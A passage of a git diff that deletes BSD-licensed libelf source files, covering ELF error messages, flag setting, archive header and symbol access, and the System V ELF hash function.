-	DEFINE_ERROR(NUM,	"Unknown error")
-#undef	DEFINE_ERROR
-};
-
-const char *
-elf_errmsg(int error)
-{
-	int oserr;
-
-	if (error == ELF_E_NONE &&
-	    (error = LIBELF_PRIVATE(error)) == 0)
-	    return NULL;
-	else if (error == -1)
-	    error = LIBELF_PRIVATE(error);
-
-	oserr = error >> LIBELF_OS_ERROR_SHIFT;
-	error &= LIBELF_ELF_ERROR_MASK;
-
-	if (error < ELF_E_NONE || error >= ELF_E_NUM)
-		return _libelf_errors[ELF_E_NUM];
-	if (oserr) {
-		(void) snprintf(LIBELF_PRIVATE(msg),
-		    sizeof(LIBELF_PRIVATE(msg)), "%s: %s",
-		    _libelf_errors[error], strerror(oserr));
-		return (const char *)&LIBELF_PRIVATE(msg);
-	}
-	return _libelf_errors[error];
-}
diff --git a/src/libelf/elf_errno.c b/src/libelf/elf_errno.c
deleted file mode 100644
index c78d4c7..0000000
--- a/src/libelf/elf_errno.c
+++ /dev/null
@@ -1,43 +0,0 @@
-/*-
- * Copyright (c) 2006,2008,2011 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_errno.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-int
-elf_errno(void)
-{
-	int old;
-
-	old = LIBELF_PRIVATE(error);
-	LIBELF_PRIVATE(error) = 0;
-	return (old & LIBELF_ELF_ERROR_MASK);
-}
diff --git a/src/libelf/elf_fill.c b/src/libelf/elf_fill.c
deleted file mode 100644
index 4c9facc..0000000
--- a/src/libelf/elf_fill.c
+++ /dev/null
@@ -1,39 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_fill.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-void
-elf_fill(int fill)
-{
-	LIBELF_PRIVATE(fillchar) = fill;
-}
diff --git a/src/libelf/elf_flag.c b/src/libelf/elf_flag.c
deleted file mode 100644
index ab9d24a..0000000
--- a/src/libelf/elf_flag.c
+++ /dev/null
@@ -1,198 +0,0 @@
-/*-
- * Copyright (c) 2006,2008-2009,2011 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_flag.c 2272 2011-12-03 17:07:31Z jkoshy $");
-
-unsigned int
-elf_flagarhdr(Elf_Arhdr *a, Elf_Cmd c, unsigned int flags)
-{
-	unsigned int r;
-
-	if (a == NULL)
-		return (0);
-
-	if ((c != ELF_C_SET && c != ELF_C_CLR) ||
-	    (flags & ~ELF_F_DIRTY) != 0) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	if (c == ELF_C_SET)
-		r = a->ar_flags |= flags;
-	else
-		r = a->ar_flags &= ~flags;
-
-	return (r & LIBELF_F_API_MASK);
-}
-
-unsigned int
-elf_flagdata(Elf_Data *d, Elf_Cmd c, unsigned int flags)
-{
-	unsigned int r;
-	struct _Libelf_Data *ld;
-
-	if (d == NULL)
-		return (0);
-
-	if ((c != ELF_C_SET && c != ELF_C_CLR) ||
-	    (flags & ~ELF_F_DIRTY) != 0) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	ld = (struct _Libelf_Data *) d;
-
-	if (c == ELF_C_SET)
-		r = ld->d_flags |= flags;
-	else
-		r = ld->d_flags &= ~flags;
-
-	return (r & LIBELF_F_API_MASK);
-}
-
-unsigned int
-elf_flagehdr(Elf *e, Elf_Cmd c, unsigned int flags)
-{
-	int ec;
-	void *ehdr;
-
-	if (e == NULL)
-		return (0);
-
-	if ((c != ELF_C_SET && c != ELF_C_CLR) ||
-	    (e->e_kind != ELF_K_ELF) || (flags & ~ELF_F_DIRTY) != 0 ||
-	    ((ec = e->e_class) != ELFCLASS32 && ec != ELFCLASS64)) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	if (ec == ELFCLASS32)
-		ehdr = e->e_u.e_elf.e_ehdr.e_ehdr32;
-	else
-		ehdr = e->e_u.e_elf.e_ehdr.e_ehdr64;
-
-	if (ehdr == NULL) {
-		LIBELF_SET_ERROR(SEQUENCE, 0);
-		return (0);
-	}
-
-	return (elf_flagelf(e, c, flags));
-}
-
-unsigned int
-elf_flagelf(Elf *e, Elf_Cmd c, unsigned int flags)
-{
-	int r;
-
-	if (e == NULL)
-		return (0);
-
-	if ((c != ELF_C_SET && c != ELF_C_CLR) ||
-	    (e->e_kind != ELF_K_ELF) ||
-	    (flags & ~(ELF_F_ARCHIVE | ELF_F_ARCHIVE_SYSV |
-	    ELF_F_DIRTY | ELF_F_LAYOUT)) != 0) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	if ((flags & ELF_F_ARCHIVE_SYSV) && (flags & ELF_F_ARCHIVE) == 0) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	if ((flags & ELF_F_ARCHIVE) && e->e_cmd != ELF_C_WRITE) {
-		LIBELF_SET_ERROR(MODE, 0);
-		return (0);
-	}
-
-	if (c == ELF_C_SET)
-		r = e->e_flags |= flags;
-	else
-		r = e->e_flags &= ~flags;
-	return (r & LIBELF_F_API_MASK);
-}
-
-unsigned int
-elf_flagphdr(Elf *e, Elf_Cmd c, unsigned int flags)
-{
-	int ec;
-	void *phdr;
-
-	if (e == NULL)
-		return (0);
-
-	if ((c != ELF_C_SET && c != ELF_C_CLR) ||
-	    (e->e_kind != ELF_K_ELF) || (flags & ~ELF_F_DIRTY) != 0 ||
-	    ((ec = e->e_class) != ELFCLASS32 && ec != ELFCLASS64)) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	if (ec == ELFCLASS32)
-		phdr = e->e_u.e_elf.e_phdr.e_phdr32;
-	else
-		phdr = e->e_u.e_elf.e_phdr.e_phdr64;
-
-	if (phdr == NULL) {
-		LIBELF_SET_ERROR(SEQUENCE, 0);
-		return (0);
-	}
-
-	return (elf_flagelf(e, c, flags));
-}
-
-unsigned int
-elf_flagscn(Elf_Scn *s, Elf_Cmd c, unsigned int flags)
-{
-	int r;
-
-	if (s == NULL)
-		return (0);
-
-	if ((c != ELF_C_SET && c != ELF_C_CLR) ||
-	    (flags & ~ELF_F_DIRTY) != 0) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (0);
-	}
-
-	if (c == ELF_C_SET)
-		r = s->s_flags |= flags;
-	else
-		r = s->s_flags &= ~flags;
-	return (r & LIBELF_F_API_MASK);
-}
-
-unsigned int
-elf_flagshdr(Elf_Scn *s, Elf_Cmd c, unsigned int flags)
-{
-	return (elf_flagscn(s, c, flags));
-}
diff --git a/src/libelf/elf_getarhdr.c b/src/libelf/elf_getarhdr.c
deleted file mode 100644
index 07f6888..0000000
--- a/src/libelf/elf_getarhdr.c
+++ /dev/null
@@ -1,47 +0,0 @@
-/*-
- * Copyright (c) 2006,2008,2010 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_getarhdr.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-Elf_Arhdr *
-elf_getarhdr(Elf *e)
-{
-	if (e == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	if (e->e_flags & LIBELF_F_AR_HEADER)
-		return (e->e_hdr.e_arhdr);
-
-	return (_libelf_ar_gethdr(e));
-}
diff --git a/src/libelf/elf_getarsym.c b/src/libelf/elf_getarsym.c
deleted file mode 100644
index eeb8513..0000000
--- a/src/libelf/elf_getarsym.c
+++ /dev/null
@@ -1,58 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_getarsym.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-Elf_Arsym *
-elf_getarsym(Elf *ar, size_t *ptr)
-{
-	size_t n;
-	Elf_Arsym *symtab;
-
-	n = 0;
-	symtab = NULL;
-
-	if (ar == NULL || ar->e_kind != ELF_K_AR)
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-	else if ((symtab = ar->e_u.e_ar.e_symtab) != NULL)
-		n = ar->e_u.e_ar.e_symtabsz;
-	else if (ar->e_u.e_ar.e_rawsymtab)
-		symtab = (ar->e_flags & LIBELF_F_AR_VARIANT_SVR4) ?
-		    _libelf_ar_process_svr4_symtab(ar, &n) :
-		    _libelf_ar_process_bsd_symtab(ar, &n);
-	else
-		LIBELF_SET_ERROR(ARCHIVE, 0);
-
-	if (ptr)
-		*ptr = n;
-	return (symtab);
-}
diff --git a/src/libelf/elf_getbase.c b/src/libelf/elf_getbase.c
deleted file mode 100644
index 417808d..0000000
--- a/src/libelf/elf_getbase.c
+++ /dev/null
@@ -1,48 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_getbase.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-off_t
-elf_getbase(Elf *e)
-{
-	if (e == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return ((off_t) -1);
-	}
-
-	if (e->e_parent == NULL)
-		return ((off_t) 0);
-
-	return ((off_t) ((uintptr_t) e->e_rawfile -
-	    (uintptr_t) e->e_parent->e_rawfile));
-}
diff --git a/src/libelf/elf_getident.c b/src/libelf/elf_getident.c
deleted file mode 100644
index aeea996..0000000
--- a/src/libelf/elf_getident.c
+++ /dev/null
@@ -1,68 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <ar.h>
-#include <assert.h>
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_getident.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-char *
-elf_getident(Elf *e, size_t *sz)
-{
-
-	if (e == NULL) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		goto error;
-	}
-
-	if (e->e_cmd == ELF_C_WRITE && e->e_rawfile == NULL) {
-		LIBELF_SET_ERROR(SEQUENCE, 0);
-		goto error;
-	}
-
-	assert(e->e_kind != ELF_K_AR || e->e_cmd == ELF_C_READ);
-
-	if (sz) {
-		if (e->e_kind == ELF_K_AR)
-			*sz = SARMAG;
-		else if (e->e_kind == ELF_K_ELF)
-			*sz = EI_NIDENT;
-		else
-			*sz = e->e_rawsize;
-	}
-
-	return ((char *) e->e_rawfile);
-
- error:
-	if (sz)
-		*sz = 0;
-	return (NULL);
-}
diff --git a/src/libelf/elf_hash.c b/src/libelf/elf_hash.c
deleted file mode 100644
index 3735237..0000000
--- a/src/libelf/elf_hash.c
+++ /dev/null
@@ -1,56 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_hash.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-/*
- * This elf_hash function is defined by the System V ABI.
- */
-
-unsigned long
-elf_hash(const char *name)
-{
-	unsigned long h, t;
-	const unsigned char *s;
-
-	s = (const unsigned char *) name;
-	h = t = 0;
-
-	for (; *s != '\0'; h = h & ~t) {
-		h = (h << 4) + *s++;
-		t = h & 0xF0000000UL;
-		if (t)
-			h ^= t >> 24;
-	}
-
-	return (h);
-}
diff --git a/src/libelf/elf_kind.c b/src/libelf/elf_kind.c
deleted file mode 100644
index ba83adc..0000000
--- a/src/libelf/elf_kind.c
+++ /dev/null
@@ -1,44 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_kind.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-Elf_Kind
-elf_kind(Elf *e)
-{
-	if (e == NULL)
-		return (ELF_K_NONE);
-	if (e->e_kind == ELF_K_AR ||
-	    e->e_kind == ELF_K_ELF)
-		return (e->e_kind);
-	return (ELF_K_NONE);
-}
diff --git a/src/libelf/elf_memory.c b/src/libelf/elf_memory.c
deleted file mode 100644
index 9c4755d..0000000
--- a/src/libelf/elf_memory.c
+++ /dev/null
@@ -1,47 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_memory.c 2368 2011-12-29 06:34:28Z jkoshy $");
-
-Elf *
-elf_memory(char *image, size_t sz)
-{
-	if (LIBELF_PRIVATE(version) == EV_NONE) {
-		LIBELF_SET_ERROR(SEQUENCE, 0);
-		return (NULL);
-	}
-
-	if (image == NULL || sz == 0) {
-		LIBELF_SET_ERROR(ARGUMENT, 0);
-		return (NULL);
-	}
-
-	return (_libelf_memory(image, sz, 1));
-}
diff --git a/src/libelf/elf_next.c b/src/libelf/elf_next.c
deleted file mode 100644
index 605a593..0000000
--- a/src/libelf/elf_next.c
+++ /dev/null
@@ -1,62 +0,0 @@
-/*-
- * Copyright (c) 2006,2008 Joseph Koshy
- * All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- */
-
-#include <sys/cdefs.h>
-
-#include <ar.h>
-#include <assert.h>
-#include <libelf.h>
-
-#include "_libelf.h"
-
-ELFTC_VCSID("$Id: elf_next.c 2225 2011-11-26 18:55:54Z jkoshy $");
-
-Elf_Cmd
-elf_next(Elf *e)
-{
-	off_t next;
-	Elf *parent;
-
-	if (e == NULL)
-		return (ELF_C_NULL);
-
-	 if ((parent = e->e_parent) == NULL) {
-		 LIBELF_SET_ERROR(ARGUMENT, 0);
-		 return (ELF_C_NULL);
-	 }
-
